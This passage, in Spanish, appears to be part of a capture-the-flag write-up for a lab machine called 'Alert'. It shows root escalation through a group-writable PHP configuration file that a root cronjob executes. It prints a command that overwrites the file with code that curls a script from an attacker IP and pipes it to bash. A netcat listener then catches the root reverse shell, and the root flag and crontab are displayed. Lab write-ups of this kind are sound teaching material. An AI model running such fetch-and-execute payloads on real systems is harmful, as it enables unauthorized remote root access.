-rwxrwxr-x 1 root root        40K Oct 12 00:58 Parsedown.php
-rwxrwxr-x 1 root root       1.7K Oct 12 00:58 README.md
-rwxrwxr-x 1 root root       1.9K Oct 12 00:58 style.css
drwxrwxr-x 2 root root       4.0K Oct 12 00:58 updates
albert@alert:/opt/website-monitor$ cat .git/config 
[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
[remote "origin"]
	url = https://github.com/neatnik/website-monitor.git
	fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
	remote = origin
	merge = refs/heads/main
albert@alert:/opt/website-monitor$

Se ejecuta inotifywait en el directorio /opt/website-monitor/config, el unico archivo que existe unicamente define la constante PATH. Si observamos los permisos, albert puede acceder a este archivo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
albert@alert:~$ ls /opt/website-monitor/config
configuration.php
albert@alert:~$ cat /opt/website-monitor/config/configuration.php
<?php
define('PATH', '/opt/website-monitor');
?>
albert@alert:~$ cd /opt/website-monitor/config
albert@alert:/opt/website-monitor/config$ ll
total 12
drwxrwxr-x 2 root management 4096 Jan 17 04:53 ./
drwxrwxr-x 7 root root       4096 Oct 12 01:07 ../
-rwxrwxr-x 1 root management   49 Jan 17 04:53 configuration.php*
albert@alert:/opt/website-monitor/config$ id
uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)
albert@alert:/opt/website-monitor/config$ 

Shell

Si nos basamos en que existe un cronjob que ejecuta este archivo de configuracion segun la documentacion podemos ejecutar una shell inversa.

1
2
albert@alert:/opt/website-monitor/config$ echo '<?php system("curl 10.10.15.23:8000/10.10.15.23:1338|bash");?>' > configuration.php
albert@alert:/opt/website-monitor/config$

Nota: al momento de publicacion de este post, Website Monitor migro a neatnik.net.

Con esto logramos el acceso como root, obtener la flag root.txt y observamos que existe un cronjob que ejecuta el archivo de configuracion.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ rlwrap nc -lvp 1338
listening on [any] 1338 ...
connect to [10.10.15.23] from alert.htb [10.10.11.44] 37540
/bin/sh: 0: can't access tty; job control turned off
# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
root.txt
scripts
# cat root.txt
86c034612a0ff1691730138ecfcf52bc
# crontab -l
[...]
# m h  dom mon dow   command
@reboot /root/scripts/xss_bot.sh
@reboot /root/scripts/php_bot.sh
*/10 * * * * rm -r /var/www/alert.htb/uploads/*
*/5 * * * * /root/scripts/cleanup.sh
* * * * * /usr/bin/php -f /opt/website-monitor/monitor.php >/dev/null 2>&1
# 
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe